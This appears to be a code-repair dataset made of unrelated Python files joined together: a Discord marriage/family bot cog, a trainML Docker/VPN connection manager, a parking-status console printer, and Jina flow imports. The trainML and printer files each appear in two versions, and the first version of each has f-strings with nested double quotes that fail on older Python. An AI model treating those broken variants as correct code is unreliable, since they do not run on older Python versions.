choice = await self.bot.wait_for("message", timeout=30, check=check)
except asyncio.TimeoutError:
return await msg.edit(
content=f"{lover.name} does not want to marry you."
)
if choice.content.lower() == "i do":
await conn.execute(
"INSERT INTO marriages (user1_id,user2_id) VALUES ($1,$2)",
ctx.author.id,
lover.id,
)
await msg.delete()
return await ctx.send(
f"{lover.mention} has accepted {ctx.author.mention}'s proposal {heartt}"
)
if choice.content.lower() == "no":
await msg.delete()
return await ctx.send(
f"{ctx.author.mention} your lover ({lover.mention}) declined your marriage! There's a million fish in the sea though."
)
else:
await msg.edit(
content="Invalid choice. Did you type it properly?", delete_after=30
)
@commands.command(description="Divorce...", brief="Divorce")
async def divorce(self, ctx):
async with self.bot.pool.acquire() as conn:
if (
await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
is None
):
return await ctx.send(
"You can't divorce someone you're not married to.", delete_after=30
)
await self.bot.pool.execute(
"DELETE FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
await self.bot.pool.execute(
"DELETE FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
await ctx.send(broken_heartt)
@commands.command(
description="Check who you are married to", brief="Check who you married"
)
async def marriage(self, ctx):
married = await self.bot.pool.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if married is None:
return await ctx.caution("You are not married.")
if married["user1_id"] == ctx.author.id:
user = self.bot.get_user(married["user2_id"])
else:
user = self.bot.get_user(married["user1_id"])
marriage_time = datetime.now(timezone.utc) - married["time_married"]
await ctx.send(
f"""You have been married to {user.name} since {married['time_married'].strftime("%X at %x")} ({marriage_time.days}d)."""
)
@commands.command(
descritpion="Breed with your lover",
aliases=["sex", "fuck", "<---_that_is_so_funny_hahahahhahahaha"],
brief="Breed",
)
async def breed(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetchval(
"SELECT COUNT(*) FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married")
if children >= 5:
return await ctx.caution(
"You already have 5 children. Are you crazy wanting more?"
)
if marriage["user1_id"] == ctx.author.id:
user = self.bot.get_user(marriage["user2_id"])
else:
user = self.bot.get_user(marriage["user1_id"])
asking = await ctx.send(
f"""{ctx.author.name} would like to breed with {user.name}. {user.name} reply with "I do" for yes and "No" for no."""
)
await self.bot.redis.execute(
"SET",
f"{ctx.author.id}-{ctx.command.qualified_name}",
"cooldown",
"EX",
3600,
)
def check(amsg):
return amsg.author.id == user.id
try:
breed_choice = await self.bot.wait_for(
"message", timeout=30, check=check
)
except asyncio.TimeoutError:
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(
f"{user.name} does not want to make a child with you."
)
if breed_choice.content.lower() == "i do":
if randint(1, 2) == 1:
await asking.delete()
await ctx.send("You didn't successfully make a child.")
else:
gender = choice(["male", "female"])
if gender == "male":
await asking.delete()
congrats = await ctx.send(
"Your efforts were successful! He's a male! Please enter the babies name."
)
else:
await asking.delete()
congrats = await ctx.send(
"Your efforts were successful! She's a female! Please enter the babies name."
)
def check(amsg):
return (
amsg.author.id == ctx.author.id or amsg.author.id == user.id
)
try:
baby_name = await self.bot.wait_for(
"message", timeout=30, check=check
)
except asyncio.TimeoutError:
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(
f"No name was provided in time.", delete_after=30
)
if len(baby_name.content) < 3 or len(baby_name.content) > 50:
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.caution(
"The name must be more then 3 chars long and can't be longer then 50 chars."
)
await self.bot.pool.execute(
"INSERT INTO children (lover1_id, lover2_id, child_name, age, gender) VALUES ($1, $2, $3, $4, $5)",
ctx.author.id,
user.id,
baby_name.content,
0,
gender,
)
await congrats.delete()
await ctx.send(
f"Great name! Good luck with your newborn {baby_name.content}.".replace(
"@", "@\u200b"
)
)
if breed_choice.content.lower() == "no":
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(f"{user.name} does not want to have a child.")
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
await ctx.caution("Invalid choice. Did you type it properly?")
@commands.command(description="Check your family")
async def family(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetch(
"SELECT * FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married")
if marriage["user1_id"] == ctx.author.id:
user = self.bot.get_user(marriage["user2_id"])
else:
user = self.bot.get_user(marriage["user1_id"])
marriage_time = datetime.now(timezone.utc) - marriage["time_married"]
e = discord.Embed(colour=0x7289DA)
e.set_author(name=f"{user.name} is married to {ctx.author.name}")
e.set_footer(
text=f"Married {marriage['time_married'].strftime('%x on %X')} ({marriage_time.days}d)"
)
num = 0
for i in children:
e.add_field(
name=children[num]["child_name"],
value=f"Gender {children[num]['gender']}; Age {children[num]['age']}; Born {children[num]['birthdate'].strftime('%x on %X')}",
)
num += 1
if num == 0:
e.add_field(
name="No children",
value=f"{user.name} and {ctx.author.name} have no children.",
)
await ctx.send(embed=e)
@commands.command(description="Bday!", aliases=["bd", "bday"], hidden=True)
async def birthday(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetchrow(
"SELECT child_name, age, gender, last_bd FROM children WHERE lover1_id = $1 OR lover2_id = $1 ORDER BY RANDOM() LIMIT 1",
ctx.author.id,
)
if children is None:
return await ctx.caution("You have no children.")
user_cooldown = await ctx.bot.redis.pttl(
f"{ctx.author.id}-{ctx.command.qualified_name}-{children['child_name']}"
)
if user_cooldown == -2:
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married.")
await self.bot.redis.execute(
"SET",
f"{ctx.author.id}-{ctx.command.qualified_name}-{children['child_name']}",
"cooldown",
"EX",
2_630_000,
)
gender = "He"
if children["gender"] == "female":
gender = "She"
pre_enjy_msg = await ctx.send(
f"It's {children['child_name']}'s birthday! {gender} will be turning {children['age'] + 1}"
)
enjoyment_lvl = [
f"{children['child_name']} loved the birthday party!",
f"{children['child_name']} didn't enjoy the party.",
f"{children['child_name']} thinks that was the best party ever!",
f"{ctx.author.name} loves uwu",
]
await asyncio.sleep(4)
enjy = choice(enjoyment_lvl)
await pre_enjy_msg.delete()
time = timedelta(seconds=2_630_000) + datetime.utcnow()
await conn.execute(
"UPDATE children SET age = children.age + 1, last_bd = $1 WHERE child_name = $2",
time,
children["child_name"],
)
await ctx.send(enjy)
else:
base_time = user_cooldown
seconds = round(base_time, 2)
hours, remainder = divmod(int(seconds), 3600)
minutes, seconds = divmod(remainder, 60)
await ctx.caution(
f"{children['child_name']} already had there birthday within the last month"
)
def setup(bot):
bot.add_cog(marriage(bot))
|
import json
import os
import shutil
import asyncio
import aiohttp
import aiodocker
import zipfile
import re
import logging
from datetime import datetime
from .exceptions import ConnectionError, ApiError, SpecificationError
from aiodocker.exceptions import DockerError
VPN_IMAGE = "trainml/tinc:no-upnp"
STORAGE_IMAGE = "trainml/local-storage"
STATUSES = dict(
UNKNOWN="unknown",
NEW="new",
CONNECTING="connecting",
CONNECTED="connected",
NOT_CONNECTED="not connected",
STOPPED="stopped",
REMOVED="removed",
)
class Connections(object):
def __init__(self, trainml):
self.trainml = trainml
CONFIG_DIR = os.path.expanduser(
os.environ.get("TRAINML_CONFIG_DIR") or "~/.trainml"
)
self.dir = f"{CONFIG_DIR}/connections"
os.makedirs(
self.dir,
exist_ok=True,
)
async def list(self):
con_dirs = os.listdir(self.dir)
connections = []
con_tasks = []
for con_dir in con_dirs:
try:
con_type, con_id = con_dir.split("_")
except ValueError:
# unintelligible directory
continue
connection = Connection(self.trainml, con_type, con_id)
connections.append(connection)
con_task = asyncio.create_task(connection.check())
con_tasks.append(con_task)
await asyncio.gather(*con_tasks)
return connections
async def cleanup(self):
con_dirs = os.listdir(self.dir)
await asyncio.gather(
asyncio.create_task(
_cleanup_containers(self.dir, con_dirs, "vpn")
),
asyncio.create_task(
_cleanup_containers(self.dir, con_dirs, "storage")
),
)
async def remove_all(self):
shutil.rmtree(self.dir)
os.makedirs(
self.dir,
exist_ok=True,
)
await self.cleanup()
class Connection:
def __init__(self, trainml, entity_type, id, entity=None, **kwargs):
self.trainml = trainml
self._id = id
self._type = entity_type
self._status = STATUSES.get("UNKNOWN")
self._entity = entity
CONFIG_DIR = os.path.expanduser(
os.environ.get("TRAINML_CONFIG_DIR") or "~/.trainml"
)
CONNECTIONS_DIR = f"{CONFIG_DIR}/connections"
self._dir = f"{CONNECTIONS_DIR}/{entity_type}_{id}"
os.makedirs(
self._dir,
exist_ok=True,
)
@property
def id(self) -> str:
return self._id
@property
def type(self) -> str:
return self._type
@property
def status(self) -> str:
return self._status
def __str__(self):
return f"Connection for {self.type} - {self.id}: {self.status}"
def __repr__(self):
return f"Connection( trainml , {self.id}, {self.type})"
async def _get_entity(self):
if self.type == "dataset":
self._entity = await self.trainml.datasets.get(self.id)
elif self.type == "job":
self._entity = await self.trainml.jobs.get(self.id)
elif self.type == "model":
self._entity = await self.trainml.models.get(self.id)
else:
raise TypeError(
"Connection type must be in: ['dataset', 'model', 'job']"
)
async def _download_connection_details(self):
zip_file = f"{self._dir}/details.zip"
url = await self._entity.get_connection_utility_url()
async with aiohttp.ClientSession() as session:
async with session.request("GET", url) as resp:
with open(
zip_file,
"wb",
) as fd:
content = await resp.read()
fd.write(content)
with zipfile.ZipFile(zip_file, "r") as zipf:
for info in zipf.infolist():
extracted_path = zipf.extract(info, self._dir)
if info.create_system == 3 and os.path.isfile(
extracted_path
): ## 3 - ZIP_UNIX_SYSTEM
unix_attributes = info.external_attr >> 16
if unix_attributes:
os.chmod(extracted_path, unix_attributes)
os.remove(zip_file)
async def _test_connection(self, container):
entity_details = self._entity.get_connection_details()
if not entity_details:
return False
net = _parse_cidr(entity_details.get("cidr"))
target_ip = f"{net.get("first_octet")}.{net.get("second_octet")}.{net.get("third_octet")}.254"
logging.debug("")
ping = await container.exec(
["ping", "-c", "1", target_ip],
stdout=True,
stderr=True,
)
stream = ping.start()
await stream.read_out()
data = await ping.inspect()
while data["ExitCode"] is None:
await stream.read_out()
data = await ping.inspect()
await stream.close()
if data["ExitCode"] == 0:
return True
return False
async def check(self):
if not self._entity:
try:
await self._get_entity()
except ApiError as e:
if e.status == 404:
self._status = STATUSES.get("REMOVED")
self._status = STATUSES.get("REMOVED")
shutil.rmtree(self._dir)
else:
raise e
if not os.path.isdir(f"{self._dir}/data"):
self._status = STATUSES.get("NEW")
return
try:
with open(f"{self._dir}/vpn_id", "r") as f:
vpn_id = f.read()
except OSError as e:
self._status = STATUSES.get("STOPPED")
return
docker = aiodocker.Docker()
try:
container = await docker.containers.get(vpn_id)
except DockerError as e:
if e.status == 404:
self._status = STATUSES.get("STOPPED")
await docker.close()
return
raise e
data = await container.show()
if not data["State"]["Running"]:
self._status = STATUSES.get("STOPPED")
await container.delete()
os.remove(f"{self._dir}/vpn_id")
try:
with open(f"{self._dir}/storage_id", "r") as f:
storage_id = f.read()
try:
storage_container = await docker.containers.get(storage_id)
await storage_container.delete(force=True)
except DockerError as e:
if e.status != 404:
raise e
except OSError as e:
pass
await docker.close()
return
connected = await self._test_connection(container)
await docker.close()
if connected:
self._status = STATUSES.get("CONNECTED")
else:
self._status = STATUSES.get("NOT_CONNECTED")
async def start(self):
logging.debug(f"Beginning start {self.type} connection {self.id}")
if self.status == STATUSES.get("UNKNOWN"):
await self.check()
if self.status in [
STATUSES.get("CONNECTING"),
STATUSES.get("CONNECTED"),
STATUSES.get("NOT_CONNECTED"),
]:
raise SpecificationError(
"status", "Only inactive connections can be started."
)
self._status = STATUSES.get("CONNECTING")
logging.info(f"Connecting...")
if not self._entity:
await self._get_entity()
if not os.path.isdir(f"{self._dir}/data"):
await self._download_connection_details()
docker = aiodocker.Docker()
await asyncio.gather(
docker.pull(VPN_IMAGE), docker.pull(STORAGE_IMAGE)
)
entity_details = self._entity.get_connection_details()
if (
entity_details.get("model_path")
or entity_details.get("input_path")
or entity_details.get("output_path")
):
logging.debug(f"Starting storage container")
storage_container = await docker.containers.run(
_get_storage_container_config(
self.id,
entity_details.get("cidr"),
f"{self._dir}/data",
entity_details.get("ssh_port"),
model_path=entity_details.get("model_path"),
input_path=entity_details.get("input_path"),
output_path=entity_details.get("output_path"),
)
)
logging.debug(
f"Storage container started, id: {storage_container.id}"
)
with open(f"{self._dir}/storage_id", "w") as f:
f.write(storage_container.id)
logging.debug(f"Starting VPN container")
vpn_container = await docker.containers.run(
_get_vpn_container_config(
self.id, entity_details.get("cidr"), f"{self._dir}/data"
)
)
logging.debug(f"VPN container started, id: {vpn_container.id}")
with open(f"{self._dir}/vpn_id", "w") as f:
f.write(vpn_container.id)
count = 0
while count <= 30:
logging.debug(f"Test connectivity attempt {count+1}")
res = await self._test_connection(vpn_container)
if res:
logging.debug(f"Test connectivity successful {count+1}")
break
count += 1
await docker.close()
if count > 30:
self._status = STATUSES.get("NOT_CONNECTED")
raise ConnectionError(f"Unable to connect {self.type} {self.id}")
self._status = STATUSES.get("CONNECTED")
logging.info(f"Connection Successful.")
logging.debug(f"Completed start {self.type} connection {self.id}")
async def stop(self):
logging.debug(f"Beginning stop {self.type} connection {self.id}")
if not self._entity:
await self._get_entity()
docker = aiodocker.Docker()
tasks = []
logging.info("Disconnecting...")
try:
with open(f"{self._dir}/vpn_id", "r") as f:
vpn_id = f.read()
logging.debug(f"vpn container id: {vpn_id}")
vpn_container = await docker.containers.get(vpn_id)
vpn_delete_task = asyncio.create_task(
vpn_container.delete(force=True)
)
tasks.append(vpn_delete_task)
os.remove(f"{self._dir}/vpn_id")
except OSError:
logging.debug("vpn container not found")
storage_delete_task = None
try:
with open(f"{self._dir}/storage_id", "r") as f:
storage_id = f.read()
logging.debug(f"storage container id: {vpn_id}")
storage_container = await docker.containers.get(storage_id)
storage_delete_task = asyncio.create_task(
storage_container.delete(force=True)
)
tasks.append(storage_delete_task)
os.remove(f"{self._dir}/storage_id")
except OSError:
logging.debug("storage container not found")
await asyncio.gather(*tasks)
await docker.close()
self._status = STATUSES.get("REMOVED")
shutil.rmtree(self._dir)
logging.info("Disconnected.")
logging.debug(f"Completed stop {self.type} connection {self.id}")
async def _cleanup_containers(path, con_dirs, type):
containers_target = []
for con_dir in con_dirs:
try:
with open(f"{path}/{con_dir}/{type}_id", "r") as f:
id = f.read()
containers_target.append(id)
except OSError:
continue
docker = aiodocker.Docker()
containers = await docker.containers.list(
all=True,
filters=json.dumps(dict(label=["service=trainml", f"type={type}"])),
)
tasks = [
asyncio.create_task(container.delete(force=True))
for container in containers
if container.id not in containers_target
]
await asyncio.gather(*tasks)
await docker.close()
def _parse_cidr(cidr):
res = re.match(
r"(?P<first_octet>[0-9]{1,3})\.(?P<second_octet>[0-9]{1,3})\.(?P<third_octet>[0-9]{1,3})\.(?P<fourth_octet>[0-9]{1,3})/(?P<mask_length>[0-9]{1,2})",
cidr,
)
net = res.groupdict()
return net
def _get_vpn_container_config(id, cidr, data_dir):
config = dict(
Image=VPN_IMAGE,
Hostname=id,
Cmd=[],
AttachStdin=False,
AttachStdout=False,
AttachStderr=False,
Tty=False,
Env=[
f"NETWORK={id}",
"DEBUG=1",
],
HostConfig=dict(
Init=True,
Binds=[f"{data_dir}:/etc/tinc:rw"],
NetworkMode="host",
CapAdd=["NET_ADMIN"],
),
Labels=dict(type="vpn", service="trainml", id=id),
)
return config
def _get_storage_container_config(
id,
cidr,
data_dir,
ssh_port,
model_path=None,
input_path=None,
output_path=None,
):
Binds = [f"{data_dir}/.ssh:/opt/ssh"]
if model_path:
Binds.append(f"{os.path.expanduser(model_path)}:/opt/model:ro")
if input_path:
Binds.append(f"{os.path.expanduser(input_path)}:/opt/data:ro")
if output_path:
Binds.append(f"{os.path.expanduser(output_path)}:/opt/output:rw")
config = dict(
Image=STORAGE_IMAGE,
Hostname=id,
Cmd=[],
AttachStdin=False,
AttachStdout=False,
AttachStderr=False,
Tty=False,
Env=[
f"VPN_CIDR={cidr}",
],
ExposedPorts={f"22/tcp": {}},
HostConfig=dict(
Init=True,
Binds=Binds,
PortBindings={
f"22/tcp": [dict(HostPort=f"{ssh_port}", HostIP="0.0.0.0")],
},
),
Labels=dict(type="storage", service="trainml", id=id),
)
return config | import json
import os
import shutil
import asyncio
import aiohttp
import aiodocker
import zipfile
import re
import logging
from datetime import datetime
from .exceptions import ConnectionError, ApiError, SpecificationError
from aiodocker.exceptions import DockerError
VPN_IMAGE = "trainml/tinc:no-upnp"
STORAGE_IMAGE = "trainml/local-storage"
STATUSES = dict(
UNKNOWN="unknown",
NEW="new",
CONNECTING="connecting",
CONNECTED="connected",
NOT_CONNECTED="not connected",
STOPPED="stopped",
REMOVED="removed",
)
class Connections(object):
def __init__(self, trainml):
self.trainml = trainml
CONFIG_DIR = os.path.expanduser(
os.environ.get("TRAINML_CONFIG_DIR") or "~/.trainml"
)
self.dir = f"{CONFIG_DIR}/connections"
os.makedirs(
self.dir,
exist_ok=True,
)
async def list(self):
con_dirs = os.listdir(self.dir)
connections = []
con_tasks = []
for con_dir in con_dirs:
try:
con_type, con_id = con_dir.split("_")
except ValueError:
# unintelligible directory
continue
connection = Connection(self.trainml, con_type, con_id)
connections.append(connection)
con_task = asyncio.create_task(connection.check())
con_tasks.append(con_task)
await asyncio.gather(*con_tasks)
return connections
async def cleanup(self):
con_dirs = os.listdir(self.dir)
await asyncio.gather(
asyncio.create_task(
_cleanup_containers(self.dir, con_dirs, "vpn")
),
asyncio.create_task(
_cleanup_containers(self.dir, con_dirs, "storage")
),
)
async def remove_all(self):
shutil.rmtree(self.dir)
os.makedirs(
self.dir,
exist_ok=True,
)
await self.cleanup()
class Connection:
def __init__(self, trainml, entity_type, id, entity=None, **kwargs):
self.trainml = trainml
self._id = id
self._type = entity_type
self._status = STATUSES.get("UNKNOWN")
self._entity = entity
CONFIG_DIR = os.path.expanduser(
os.environ.get("TRAINML_CONFIG_DIR") or "~/.trainml"
)
CONNECTIONS_DIR = f"{CONFIG_DIR}/connections"
self._dir = f"{CONNECTIONS_DIR}/{entity_type}_{id}"
os.makedirs(
self._dir,
exist_ok=True,
)
@property
def id(self) -> str:
return self._id
@property
def type(self) -> str:
return self._type
@property
def status(self) -> str:
return self._status
def __str__(self):
return f"Connection for {self.type} - {self.id}: {self.status}"
def __repr__(self):
return f"Connection( trainml , {self.id}, {self.type})"
async def _get_entity(self):
if self.type == "dataset":
self._entity = await self.trainml.datasets.get(self.id)
elif self.type == "job":
self._entity = await self.trainml.jobs.get(self.id)
elif self.type == "model":
self._entity = await self.trainml.models.get(self.id)
else:
raise TypeError(
"Connection type must be in: ['dataset', 'model', 'job']"
)
async def _download_connection_details(self):
zip_file = f"{self._dir}/details.zip"
url = await self._entity.get_connection_utility_url()
async with aiohttp.ClientSession() as session:
async with session.request("GET", url) as resp:
with open(
zip_file,
"wb",
) as fd:
content = await resp.read()
fd.write(content)
with zipfile.ZipFile(zip_file, "r") as zipf:
for info in zipf.infolist():
extracted_path = zipf.extract(info, self._dir)
if info.create_system == 3 and os.path.isfile(
extracted_path
): ## 3 - ZIP_UNIX_SYSTEM
unix_attributes = info.external_attr >> 16
if unix_attributes:
os.chmod(extracted_path, unix_attributes)
os.remove(zip_file)
async def _test_connection(self, container):
entity_details = self._entity.get_connection_details()
if not entity_details:
return False
net = _parse_cidr(entity_details.get("cidr"))
target_ip = f"{net.get('first_octet')}.{net.get('second_octet')}.{net.get('third_octet')}.254"
logging.debug("")
ping = await container.exec(
["ping", "-c", "1", target_ip],
stdout=True,
stderr=True,
)
stream = ping.start()
await stream.read_out()
data = await ping.inspect()
while data["ExitCode"] is None:
await stream.read_out()
data = await ping.inspect()
await stream.close()
if data["ExitCode"] == 0:
return True
return False
async def check(self):
if not self._entity:
try:
await self._get_entity()
except ApiError as e:
if e.status == 404:
self._status = STATUSES.get("REMOVED")
self._status = STATUSES.get("REMOVED")
shutil.rmtree(self._dir)
else:
raise e
if not os.path.isdir(f"{self._dir}/data"):
self._status = STATUSES.get("NEW")
return
try:
with open(f"{self._dir}/vpn_id", "r") as f:
vpn_id = f.read()
except OSError as e:
self._status = STATUSES.get("STOPPED")
return
docker = aiodocker.Docker()
try:
container = await docker.containers.get(vpn_id)
except DockerError as e:
if e.status == 404:
self._status = STATUSES.get("STOPPED")
await docker.close()
return
raise e
data = await container.show()
if not data["State"]["Running"]:
self._status = STATUSES.get("STOPPED")
await container.delete()
os.remove(f"{self._dir}/vpn_id")
try:
with open(f"{self._dir}/storage_id", "r") as f:
storage_id = f.read()
try:
storage_container = await docker.containers.get(storage_id)
await storage_container.delete(force=True)
except DockerError as e:
if e.status != 404:
raise e
except OSError as e:
pass
await docker.close()
return
connected = await self._test_connection(container)
await docker.close()
if connected:
self._status = STATUSES.get("CONNECTED")
else:
self._status = STATUSES.get("NOT_CONNECTED")
async def start(self):
logging.debug(f"Beginning start {self.type} connection {self.id}")
if self.status == STATUSES.get("UNKNOWN"):
await self.check()
if self.status in [
STATUSES.get("CONNECTING"),
STATUSES.get("CONNECTED"),
STATUSES.get("NOT_CONNECTED"),
]:
raise SpecificationError(
"status", "Only inactive connections can be started."
)
self._status = STATUSES.get("CONNECTING")
logging.info(f"Connecting...")
if not self._entity:
await self._get_entity()
if not os.path.isdir(f"{self._dir}/data"):
await self._download_connection_details()
docker = aiodocker.Docker()
await asyncio.gather(
docker.pull(VPN_IMAGE), docker.pull(STORAGE_IMAGE)
)
entity_details = self._entity.get_connection_details()
if (
entity_details.get("model_path")
or entity_details.get("input_path")
or entity_details.get("output_path")
):
logging.debug(f"Starting storage container")
storage_container = await docker.containers.run(
_get_storage_container_config(
self.id,
entity_details.get("cidr"),
f"{self._dir}/data",
entity_details.get("ssh_port"),
model_path=entity_details.get("model_path"),
input_path=entity_details.get("input_path"),
output_path=entity_details.get("output_path"),
)
)
logging.debug(
f"Storage container started, id: {storage_container.id}"
)
with open(f"{self._dir}/storage_id", "w") as f:
f.write(storage_container.id)
logging.debug(f"Starting VPN container")
vpn_container = await docker.containers.run(
_get_vpn_container_config(
self.id, entity_details.get("cidr"), f"{self._dir}/data"
)
)
logging.debug(f"VPN container started, id: {vpn_container.id}")
with open(f"{self._dir}/vpn_id", "w") as f:
f.write(vpn_container.id)
count = 0
while count <= 30:
logging.debug(f"Test connectivity attempt {count+1}")
res = await self._test_connection(vpn_container)
if res:
logging.debug(f"Test connectivity successful {count+1}")
break
count += 1
await docker.close()
if count > 30:
self._status = STATUSES.get("NOT_CONNECTED")
raise ConnectionError(f"Unable to connect {self.type} {self.id}")
self._status = STATUSES.get("CONNECTED")
logging.info(f"Connection Successful.")
logging.debug(f"Completed start {self.type} connection {self.id}")
async def stop(self):
logging.debug(f"Beginning stop {self.type} connection {self.id}")
if not self._entity:
await self._get_entity()
docker = aiodocker.Docker()
tasks = []
logging.info("Disconnecting...")
try:
with open(f"{self._dir}/vpn_id", "r") as f:
vpn_id = f.read()
logging.debug(f"vpn container id: {vpn_id}")
vpn_container = await docker.containers.get(vpn_id)
vpn_delete_task = asyncio.create_task(
vpn_container.delete(force=True)
)
tasks.append(vpn_delete_task)
os.remove(f"{self._dir}/vpn_id")
except OSError:
logging.debug("vpn container not found")
storage_delete_task = None
try:
with open(f"{self._dir}/storage_id", "r") as f:
storage_id = f.read()
logging.debug(f"storage container id: {vpn_id}")
storage_container = await docker.containers.get(storage_id)
storage_delete_task = asyncio.create_task(
storage_container.delete(force=True)
)
tasks.append(storage_delete_task)
os.remove(f"{self._dir}/storage_id")
except OSError:
logging.debug("storage container not found")
await asyncio.gather(*tasks)
await docker.close()
self._status = STATUSES.get("REMOVED")
shutil.rmtree(self._dir)
logging.info("Disconnected.")
logging.debug(f"Completed stop {self.type} connection {self.id}")
async def _cleanup_containers(path, con_dirs, type):
containers_target = []
for con_dir in con_dirs:
try:
with open(f"{path}/{con_dir}/{type}_id", "r") as f:
id = f.read()
containers_target.append(id)
except OSError:
continue
docker = aiodocker.Docker()
containers = await docker.containers.list(
all=True,
filters=json.dumps(dict(label=["service=trainml", f"type={type}"])),
)
tasks = [
asyncio.create_task(container.delete(force=True))
for container in containers
if container.id not in containers_target
]
await asyncio.gather(*tasks)
await docker.close()
def _parse_cidr(cidr):
res = re.match(
r"(?P<first_octet>[0-9]{1,3})\.(?P<second_octet>[0-9]{1,3})\.(?P<third_octet>[0-9]{1,3})\.(?P<fourth_octet>[0-9]{1,3})/(?P<mask_length>[0-9]{1,2})",
cidr,
)
net = res.groupdict()
return net
def _get_vpn_container_config(id, cidr, data_dir):
config = dict(
Image=VPN_IMAGE,
Hostname=id,
Cmd=[],
AttachStdin=False,
AttachStdout=False,
AttachStderr=False,
Tty=False,
Env=[
f"NETWORK={id}",
"DEBUG=1",
],
HostConfig=dict(
Init=True,
Binds=[f"{data_dir}:/etc/tinc:rw"],
NetworkMode="host",
CapAdd=["NET_ADMIN"],
),
Labels=dict(type="vpn", service="trainml", id=id),
)
return config
def _get_storage_container_config(
id,
cidr,
data_dir,
ssh_port,
model_path=None,
input_path=None,
output_path=None,
):
Binds = [f"{data_dir}/.ssh:/opt/ssh"]
if model_path:
Binds.append(f"{os.path.expanduser(model_path)}:/opt/model:ro")
if input_path:
Binds.append(f"{os.path.expanduser(input_path)}:/opt/data:ro")
if output_path:
Binds.append(f"{os.path.expanduser(output_path)}:/opt/output:rw")
config = dict(
Image=STORAGE_IMAGE,
Hostname=id,
Cmd=[],
AttachStdin=False,
AttachStdout=False,
AttachStderr=False,
Tty=False,
Env=[
f"VPN_CIDR={cidr}",
],
ExposedPorts={f"22/tcp": {}},
HostConfig=dict(
Init=True,
Binds=Binds,
PortBindings={
f"22/tcp": [dict(HostPort=f"{ssh_port}", HostIP="0.0.0.0")],
},
),
Labels=dict(type="storage", service="trainml", id=id),
)
return config |
import os
class Printer:
def __init__(self,
features=None,
width=None):
if features is None:
features = ['slot_id', 'status', 'duration', 'violation', 'msg']
width = [20, 10, 10, 10, 30]
self.features = features
self.width = width
def print(self, records):
info = []
for record in records:
line = [record[column] for column in self.features]
info.append(line)
self._pprint(info)
def _pprint(self, slot_status):
os.system('cls||clear')
self._print_msg_box('Parking monitoring in progress',
title='Parking time analysis',
indent=4,
width=sum(self.width))
line_format = '\t'
for i, w in enumerate(self.width):
line_format += '| {{{}: <{}}} |'.format(i, w)
header = line_format.format(*self.features)
print('\t' + '-' * len(header))
print(header)
print('\t' + '-' * len(header))
for line in slot_status:
#print(line)
string = line_format.format(*line)
print(string)
print('\t' + '-' * len(header))
@classmethod
def _print_msg_box(cls, msg, indent=1, width=None, title=None, padding='\t'):
"""Print message-box with optional title."""
lines = msg.split('\n')
space = " " * indent
if not width:
width = max(map(len, lines))
box = padding + f'╔{'═' * (width + indent * 2)}╗\n' # upper_border
if title:
box += padding + f'║{space}{title:<{width}}{space}║\n' # title
box += padding + f'║{space}{'-' * width:<{width}}{space}║\n' # underscore
box += ''.join([padding + f'║{space}{line:<{width}}{space}║\n' for line in lines])
box += padding + f'╚{'═' * (width + indent * 2)}╝' # lower_border
print(box) | import os
class Printer:
def __init__(self,
features=None,
width=None):
if features is None:
features = ['slot_id', 'status', 'duration', 'violation', 'msg']
width = [20, 10, 10, 10, 30]
self.features = features
self.width = width
def print(self, records):
info = []
for record in records:
line = [record[column] for column in self.features]
info.append(line)
self._pprint(info)
def _pprint(self, slot_status):
os.system('cls||clear')
self._print_msg_box('Parking monitoring in progress',
title='Parking time analysis',
indent=4,
width=sum(self.width))
line_format = '\t'
for i, w in enumerate(self.width):
line_format += '| {{{}: <{}}} |'.format(i, w)
header = line_format.format(*self.features)
print('\t' + '-' * len(header))
print(header)
print('\t' + '-' * len(header))
for line in slot_status:
#print(line)
string = line_format.format(*line)
print(string)
print('\t' + '-' * len(header))
@classmethod
def _print_msg_box(cls, msg, indent=1, width=None, title=None, padding='\t'):
"""Print message-box with optional title."""
lines = msg.split('\n')
space = " " * indent
if not width:
width = max(map(len, lines))
box = padding + f'╔{"═" * (width + indent * 2)}╗\n' # upper_border
if title:
box += padding + f'║{space}{title:<{width}}{space}║\n' # title
box += padding + f'║{space}{"-" * width:<{width}}{space}║\n' # underscore
box += ''.join([padding + f'║{space}{line:<{width}}{space}║\n' for line in lines])
box += padding + f'╚{"═" * (width + indent * 2)}╝' # lower_border
print(box) |
import argparse
import base64
import copy
import os
import re
import threading
import uuid
import warnings
from collections import OrderedDict, defaultdict
from contextlib import ExitStack
from typing import Optional, Union, Tuple, List, Set, Dict, overload, Type
from .builder import build_required, _build_flow, _hanging_pods
from .. import __default_host__
from ..clients import Client
from ..clients.mixin import AsyncPostMixin, PostMixin
from ..enums import FlowBuildLevel, PodRoleType, FlowInspectType
from ..excepts import FlowTopologyError, FlowMissingPodError
from ..helper import (
colored,
get_public_ip,
get_internal_ip,
typename,
ArgNamespace,
download_mermaid_url,
)
from ..jaml import JAMLCompatible
from ..logging.logger import JinaLogger
